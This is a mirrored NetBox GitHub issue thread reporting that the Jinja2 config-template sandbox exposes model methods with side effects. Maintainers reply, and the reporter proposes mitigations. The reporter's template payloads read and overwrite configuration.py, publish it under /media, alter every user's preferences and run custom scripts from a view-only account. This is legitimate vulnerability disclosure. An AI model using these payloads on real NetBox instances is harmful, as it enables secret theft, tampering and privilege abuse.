starred/netbox
1
0
Fork 0
mirror of https://github.com/netbox-community/netbox.git synced 2026-01-11 21:10:29 +01:00
Code Issues 273 Packages Projects Releases 10 Wiki Activity

Jinja2 method for updateing or changing DB objects and files via rendered config template #11611

New Issue
Closed
opened 2025-12-29 21:47:38 +01:00 by adam · 5 comments
adam commented 2025-12-29 21:47:38 +01:00
Owner
Copy Link

Originally created by @jchambers2012 on GitHub (Sep 15, 2025).

NetBox Edition

NetBox Community

NetBox Version

Tested with Community 4.1.10->4.2.6 and NetBox Cloud 4.2.9

Python Version

3.12

Steps to Reproduce

Bug was submitted to security@netboxlabs.com but was advised to use the usual process is to track it publicly as a low-priority housekeeping item

Assumptions:

  1. User has access to update (or create and assign) Config Templates
  2. User can get the ConfigTemplate.render() ran via the Render Config tab or via an API call
  3. This was tested while viewing the rendered configuration as an account that only has view only (code execution, not building the configuration template)

Steps to reproduce:

  1. Create a new config template named “test” and add the following template code below
    File Updates:
{% set data_update = core.DataFile(data="",path="configuration.py" ) %}
{% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %}
update_flag: {{update_flag }}
data: {{data_update.data}}
 
{% set data_to_inject  = data_update.data.decode('utf-8') + "\r\n# Updated from config template date 2025-01-13" %}
{% set data_to_inject  = data_to_inject  + "\r\n# I am the Evil Data to inject" %}
{% set data_to_inject = data_to_inject.encode('utf-8')  %}
{% set new_df = core.DataFile(data=data_to_inject ) %}
{% set _ = new_df.write_to_disk("/opt/netbox/netbox/media/export.evil",overwrite=True) %}
{% set new_df = core.DataFile(data=data_to_inject ) %}
{% set _ = new_df.write_to_disk("/opt/netbox/netbox/netbox/configuration.py",overwrite=True) %}

DB Object updates:

{% for user in users.User.objects.all() %}
user: {{user.username}}
user.config.all(): {{user.config.all()}}
user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}}
user.config.all(): {{user.config.all()}}
{% endfor %}
  1. Assign the template to a device role that has devices.
  2. Goto a device assigned that role and click on Render Config.
  3. Verify that configuration.py has been updated and User Configs have been updated
  4. Verify that http://localhost:8000/media/export.evil has a copy of the configuration.
Image

First Run of user update:
Image

Second Run

Image

Expected Behavior

Custom model functions that are used in the sandbox and perform filesystem and database updates should be marked with alters_data, unsafe_callable, or start with the _ to make the private so the sandbox cannot be used intentionally or unintentionally to make changes to the app or its database from non-admin users that should not have access to do this via the sandbox.

write_to_disk() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/core/models/data.py#L354
user.config.set() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/users/models/preferences.py#L71

Observed Behavior

There are a number of custom model functions in the code base that allow object updating via the SandBox. An audit of the NetBox custom model functions might be needed to verify if a custom model function should be allowed to be called with in the sandbox and potentially have the needed permission guard railed added to prevent users with limited access to a model from being able to update data or files they should not have access too.

Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox. Per Django security team (see Issue 35837 next)

As stated in the jija Sandbox docs (bold added for emphasis): https://jinja.palletsprojects.com/en/3.1.x/sandbox/#security-considerations

The sandbox alone is not a solution for perfect security. Keep these things in mind when using the sandbox.
[...]
Pass only the data that is relevant to the template. Avoid passing global data, or objects with methods that have side effects. By default the sandbox prevents private and internal attribute access. [...]

A similar behavior was found in Django Core User Object code was patched under https://code.djangoproject.com/ticket/35837 (https://github.com/django/django/pull/18672/files)

How the sandbox depends on what function are safe to call: https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248

Originally created by @jchambers2012 on GitHub (Sep 15, 2025). ### NetBox Edition NetBox Community ### NetBox Version Tested with Community 4.1.10->4.2.6 and NetBox Cloud 4.2.9 ### Python Version 3.12 ### Steps to Reproduce > Bug was submitted to security@netboxlabs.com but was advised to use the usual process is to track it publicly as a low-priority housekeeping item Assumptions: 1. User has access to update (or create and assign) Config Templates 2. User can get the ConfigTemplate.render() ran via the Render Config tab or via an API call 3. This was tested while viewing the rendered configuration as an account that only has **view only** (code execution, not building the configuration template) Steps to reproduce: 1. Create a new config template named “test” and add the following template code below File Updates: ``` {% set data_update = core.DataFile(data="",path="configuration.py" ) %} {% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %} update_flag: {{update_flag }} data: {{data_update.data}} {% set data_to_inject = data_update.data.decode('utf-8') + "\r\n# Updated from config template date 2025-01-13" %} {% set data_to_inject = data_to_inject + "\r\n# I am the Evil Data to inject" %} {% set data_to_inject = data_to_inject.encode('utf-8') %} {% set new_df = core.DataFile(data=data_to_inject ) %} {% set _ = new_df.write_to_disk("/opt/netbox/netbox/media/export.evil",overwrite=True) %} {% set new_df = core.DataFile(data=data_to_inject ) %} {% set _ = new_df.write_to_disk("/opt/netbox/netbox/netbox/configuration.py",overwrite=True) %} ``` DB Object updates: ``` {% for user in users.User.objects.all() %} user: {{user.username}} user.config.all(): {{user.config.all()}} user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}} user.config.all(): {{user.config.all()}} {% endfor %} ``` 3. Assign the template to a device role that has devices. 4. Goto a device assigned that role and click on Render Config. 5. Verify that configuration.py has been updated and User Configs have been updated 6. Verify that http://localhost:8000/media/export.evil has a copy of the configuration. <img width="1619" height="627" alt="Image" src="https://github.com/user-attachments/assets/0e1b1698-cf45-4bda-8594-5498b504821a" /> First Run of user update: <img width="398" height="155" alt="Image" src="https://github.com/user-attachments/assets/d505a4ae-3e0c-4c76-9f88-8c5a931a9727" /> Second Run <img width="389" height="141" alt="Image" src="https://github.com/user-attachments/assets/2880d109-27b2-42d4-9d05-1e3c87101570" /> ### Expected Behavior Custom model functions that are used in the sandbox and perform filesystem and database updates should be marked with `alters_data`, `unsafe_callable`, or start with the `_` to make the private so the sandbox cannot be used intentionally or unintentionally to make changes to the app or its database from non-admin users that should not have access to do this via the sandbox. write_to_disk() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/core/models/data.py#L354 user.config.set() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/users/models/preferences.py#L71 ### Observed Behavior There are a number of custom model functions in the code base that allow object updating via the SandBox. An audit of the NetBox custom model functions might be needed to verify if a custom model function should be allowed to be called with in the sandbox and potentially have the needed permission guard railed added to prevent users with limited access to a model from being able to update data or files they should not have access too. Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox. Per Django security team (see Issue 35837 next) > As stated in the jija Sandbox docs (bold added for emphasis): [https://jinja.palletsprojects.com/en/3.1.x/sandbox/#security-considerations](https://jinja.palletsprojects.com/en/stable/sandbox/#security-considerations) > The sandbox alone is not a solution for perfect security. Keep these things in mind when using the sandbox. > [...] > Pass only the data that is relevant to the template. Avoid passing global data, or objects with methods that have side effects. By default the sandbox prevents private and internal attribute access. [...] A similar behavior was found in Django Core User Object code was patched under https://code.djangoproject.com/ticket/35837 ([https://github.com/django/django/pull/18672/files](https://github.com/django/django/pull/18672/files)) How the sandbox depends on what function are safe to call: [https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248](https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248)
adam added the type: bug label 2025-12-29 21:47:38 +01:00
adam closed this issue 2025-12-29 21:47:38 +01:00
adam commented 2025-12-29 21:47:39 +01:00
Author
Owner
Copy Link

@jeremystretch commented on GitHub (Sep 16, 2025):

The write_to_disk() method was removed from the DataFile model in NetBox v4.3.0. AFAICT, this is not reproducible on NetBox v4.3.0 or later. @jchambers2012 can you please confirm this?

Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox.

Please submit any proposed additions to the documentation under a separate issue.

@jeremystretch commented on GitHub (Sep 16, 2025): The `write_to_disk()` method was removed from the DataFile model in NetBox v4.3.0. AFAICT, this is not reproducible on NetBox v4.3.0 or later. @jchambers2012 can you please confirm this? > Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox. Please submit any proposed additions to the documentation under a [separate issue](https://github.com/netbox-community/netbox/issues/new?template=03-documentation_change.yaml).
adam commented 2025-12-29 21:47:39 +01:00
Author
Owner
Copy Link

@jchambers2012 commented on GitHub (Sep 16, 2025):

yes, it does look like write_to_disk() is removed but am still able to perform disk reads via refresh_from_disk(). Access is limited to the user/group that is running the app so that limits OS access scope.
There are also some models that are not protected from DB writes such as user.config.set() and user.config.clear() and ManagedFile.sync_data(). I just wanted to shine light on the fact that model custom functions might need an audit to verify they should or should not be callable in SandBox. And if these functions are deemed to be acceptable to be callable in sandbox, then that functionality should be documented, otherwise be blocked.

Items I was able to call from SandBox in 4.3.7:

User preferences

{% for user in users.User.objects.all() %}
user: {{user.username}}
user.config.all(): {{user.config.all()}}
user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}}
user.config.all(): {{user.config.all()}}
user.config.clear('foo.bar.baz',commit=True)
{% endfor %}

https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/users/models/preferences.py#L71
https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/users/models/preferences.py#L117

Image

refresh_from_disk

Reading: /opt/netbox/netbox/netbox/configuration.py
{% set data_update = core.DataFile(data="",path="configuration.py" ) %}
{% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %}
update_flag: {{update_flag }}
data: {{data_update.data}}

https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/core/models/data.py#L338

Image

Script.module.sync_data

Getting Any Script (there must be an exiting script to pull) -  not sure how this can be abused (yet) but calls functions to update files
{% set script = extras.Script.objects.first() %}
Name: {{script.name}}
calling module.sync_data()
{{script.module.sync_data()}}

https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/core/models/files.py#L88

Image
@jchambers2012 commented on GitHub (Sep 16, 2025): yes, it does look like `write_to_disk()` is removed but am still able to perform disk reads via `refresh_from_disk()`. Access is limited to the user/group that is running the app so that limits OS access scope. There are also some models that are not protected from DB writes such as `user.config.set()` and `user.config.clear()` and `ManagedFile.sync_data()`. I just wanted to shine light on the fact that model custom functions might need an audit to verify they should or should not be callable in SandBox. And if these functions are deemed to be acceptable to be callable in sandbox, then that functionality should be documented, otherwise be blocked. Items I was able to call from SandBox in 4.3.7: ## User preferences ``` {% for user in users.User.objects.all() %} user: {{user.username}} user.config.all(): {{user.config.all()}} user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}} user.config.all(): {{user.config.all()}} user.config.clear('foo.bar.baz',commit=True) {% endfor %} ``` https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/users/models/preferences.py#L71 https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/users/models/preferences.py#L117 <img width="483" height="240" alt="Image" src="https://github.com/user-attachments/assets/9d27c2b8-e7ff-4f8c-b84c-2e423602b08b" /> ## refresh_from_disk ``` Reading: /opt/netbox/netbox/netbox/configuration.py {% set data_update = core.DataFile(data="",path="configuration.py" ) %} {% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %} update_flag: {{update_flag }} data: {{data_update.data}} ``` https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/core/models/data.py#L338 <img width="794" height="203" alt="Image" src="https://github.com/user-attachments/assets/5efb48bf-49a4-48b7-aac2-2c23fc630861" /> ## Script.module.sync_data ``` Getting Any Script (there must be an exiting script to pull) - not sure how this can be abused (yet) but calls functions to update files {% set script = extras.Script.objects.first() %} Name: {{script.name}} calling module.sync_data() {{script.module.sync_data()}} ``` https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/core/models/files.py#L88 <img width="418" height="165" alt="Image" src="https://github.com/user-attachments/assets/11db6811-731e-4402-9f6f-716752f54142" />
adam commented 2025-12-29 21:47:39 +01:00
Author
Owner
Copy Link

@jchambers2012 commented on GitHub (Sep 18, 2025):

Here will be an example of a DCIM read only account in 4.2.9 and 4.3.7 being able to execute custom scripts via the sandbox via a pre-setup template:

Community 4.3.7:

Image Image

Cloud 4.2.9:

Image Image

Config Templates

{% set script = extras.Script.objects.get(name="j2test_decom") %}

Running script{{script }}
{% set test = script.python_class().run({"data":"test_data","decom_id":123,"device_id":987}, True) %}

Returned:
{{test}}

j2test.py

from extras.scripts import *
import logging

logger = logging.getLogger(__name__)


class j2test_decom(Script):
    class Meta:
        name = "DECOM JOB TEST"
        description = ""

    def run(self, data: dict, commit: bool):
        msg = ["I was Ran!"]
        if data:
            msg.append(f"Data: {data}")
            logger.critical(f"Data: {data}")

        for item in msg:
            self.log_info(item)
            logger.critical(item)
        return "\n".join(msg)
@jchambers2012 commented on GitHub (Sep 18, 2025): Here will be an example of a DCIM read only account in 4.2.9 and 4.3.7 being able to execute custom scripts via the sandbox via a pre-setup template: Community 4.3.7: <img width="759" height="174" alt="Image" src="https://github.com/user-attachments/assets/3fc5aadc-57c9-41cd-9724-12319f6a9604" /> <img width="530" height="209" alt="Image" src="https://github.com/user-attachments/assets/9a92dc97-e66c-4308-b9ca-722628203748" /> Cloud 4.2.9: <img width="770" height="277" alt="Image" src="https://github.com/user-attachments/assets/61a8d3ec-52d1-4771-b932-a0e4281857b6" /> <img width="473" height="233" alt="Image" src="https://github.com/user-attachments/assets/95305697-e342-446d-ba3d-804278e8b7d7" /> Config Templates ``` {% set script = extras.Script.objects.get(name="j2test_decom") %} Running script{{script }} {% set test = script.python_class().run({"data":"test_data","decom_id":123,"device_id":987}, True) %} Returned: {{test}} ``` j2test.py ``` from extras.scripts import * import logging logger = logging.getLogger(__name__) class j2test_decom(Script): class Meta: name = "DECOM JOB TEST" description = "" def run(self, data: dict, commit: bool): msg = ["I was Ran!"] if data: msg.append(f"Data: {data}") logger.critical(f"Data: {data}") for item in msg: self.log_info(item) logger.critical(item) return "\n".join(msg) ```
adam commented 2025-12-29 21:47:39 +01:00
Author
Owner
Copy Link

@jchambers2012 commented on GitHub (Sep 18, 2025):

I do want to acknowledge that users having access to all models that build devices probably needed to properly render a configuration. A user not needing access to Circuits for normal job role might not be needed but to properly render device’s interface, BGP configuration or info to set up X to an ISP access is most likely required. (if that module is used) I can think of a few options to consider that can help with the situation on top of documenting this behavior in #20368

Option 1 – Add an app configuration item to define allow list what models should be exposed into the sandbox.

This option would allow for people who need access to X to be able to add additional models from core or plugins to be able to use with config generation. This will allow for admin to consider the risks of exposing more than the default models into the sandbox. Might also be good to expose an API end point to plugins that might be able to register their models that they consider “safe” to expose into the sandbox like NetBox ACLs.

I would then say exclude any admin like functions from the sandbox, core., users., extras.* (excluding Tags and ImageAttachment?)

Option 2 – Add transaction.atomic() over the sandbox.

This option will ensure that no model, plugin, and (possibly) scripts that are called from the sandbox can’t update the database. This will not fix anything that might touch the file system, a different protection system would be needed or each file system model needs option 3.

This code is very untested, but I have similar code for an internal plugin that was based on the 4.1/4.2 render() function.

https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/utilities/jinja2.py#L75

    try:
        with transaction.atomic():
            render_template =  template.render(**context)
            if read_only:
                raise AbortTransaction()  
    except AbortTransaction:
        # Add some code here to verify that nothing has been written to the database
        # otherwise alert to logging system that an update has occurred when it shouldn't have???
        pass
    except Exception as e:
        logger.critical(f"Error in template: {e}")
        logger.critical(type(e).__name__)
        logger.critical(traceback.format_exc())
        logger.critical(f"{self.template_code = }")
        error_context = []
        if hasattr(e, "lineno"):
            error_context.append(f"Line: {e.lineno }")
        if hasattr(e, "filename"):
            error_context.append(f"FileName: {e.filename  }")
        if hasattr(e, "name"):
            error_context.append(f"Name: {e.name }")
        logger.critical(f"{error_context = }")
        message = f"Error in template unable to render page - {type(e).__name__}: {e} - {' - '.join(error_context)}"
        logger.error(message)

        return message
    return render_template

Option 3 – Audit the custom model functions

Adding the correct protection tags (alters_data, unsafe_callable, do_not_call_in_templates, etc) to any custom function or model should be done, even if the parent class has it applied and is being blocked by Sandbox today. This will explicitly call out what function should NOT be allowed in the sandbox in case NB core, python library or module makes changes to upstream functionality that remove protection tags would allow for making changes to the database.

@jchambers2012 commented on GitHub (Sep 18, 2025): I do want to acknowledge that users having access to all models that build devices probably needed to properly render a configuration. A user not needing access to Circuits for normal job role might not be needed but to properly render device’s interface, BGP configuration or info to set up X to an ISP access is most likely required. (if that module is used) I can think of a few options to consider that can help with the situation on top of documenting this behavior in #20368 ## Option 1 – Add an app configuration item to define allow list what models should be exposed into the sandbox. This option would allow for people who need access to X to be able to add additional models from core or plugins to be able to use with config generation. This will allow for admin to consider the risks of exposing more than the default models into the sandbox. Might also be good to expose an API end point to plugins that might be able to register their models that they consider “safe” to expose into the sandbox like NetBox ACLs. I would then say exclude any admin like functions from the sandbox, core.*, users.*, extras.* (excluding Tags and ImageAttachment?) ## Option 2 – Add transaction.atomic() over the sandbox. This option will ensure that no model, plugin, and (possibly) scripts that are called from the sandbox can’t update the database. This will not fix anything that might touch the file system, a different protection system would be needed or each file system model needs option 3. > This code is very untested, but I have similar code for an internal plugin that was based on the 4.1/4.2 render() function. https://github.com/netbox-community/netbox/blob/v4.3.7/netbox/utilities/jinja2.py#L75 ``` try: with transaction.atomic(): render_template = template.render(**context) if read_only: raise AbortTransaction() except AbortTransaction: # Add some code here to verify that nothing has been written to the database # otherwise alert to logging system that an update has occurred when it shouldn't have??? pass except Exception as e: logger.critical(f"Error in template: {e}") logger.critical(type(e).__name__) logger.critical(traceback.format_exc()) logger.critical(f"{self.template_code = }") error_context = [] if hasattr(e, "lineno"): error_context.append(f"Line: {e.lineno }") if hasattr(e, "filename"): error_context.append(f"FileName: {e.filename }") if hasattr(e, "name"): error_context.append(f"Name: {e.name }") logger.critical(f"{error_context = }") message = f"Error in template unable to render page - {type(e).__name__}: {e} - {' - '.join(error_context)}" logger.error(message) return message return render_template ``` ## Option 3 – Audit the custom model functions Adding the correct protection tags (`alters_data`, `unsafe_callable`, ` do_not_call_in_templates`, etc) to any custom function or model should be done, even if the parent class has it applied and is being blocked by Sandbox today. This will explicitly call out what function should NOT be allowed in the sandbox in case NB core, python library or module makes changes to upstream functionality that remove protection tags would allow for making changes to the database.
adam commented 2025-12-29 21:47:40 +01:00
Author
Owner
Copy Link

@jnovinger commented on GitHub (Sep 29, 2025):

I've created #20442 , to capture the remaining work related to this issue.

@jnovinger commented on GitHub (Sep 29, 2025): I've created #20442 , to capture the remaining work related to this issue.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
beta
breaking change
complexity: high
complexity: low
complexity: medium
needs milestone
netbox
pending closure
plugin candidate
pull-request
Mirrored from GitHub Pull Request
 severity: high
severity: low
severity: medium
status: accepted
status: backlog
status: blocked
status: duplicate
status: needs owner
status: needs triage
status: revisions needed
status: under review
topic: GraphQL
topic: Internationalization
topic: OpenAPI
topic: UI/UX
topic: cabling
topic: event rules
topic: htmx navigation
topic: industrialization
topic: migrations
topic: plugins
topic: scripts
topic: templating
topic: testing
type: bug
type: deprecation
type: documentation
type: feature
type: housekeeping
type: translation
No Label type: bug
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
adam
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: starred/netbox#11611
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?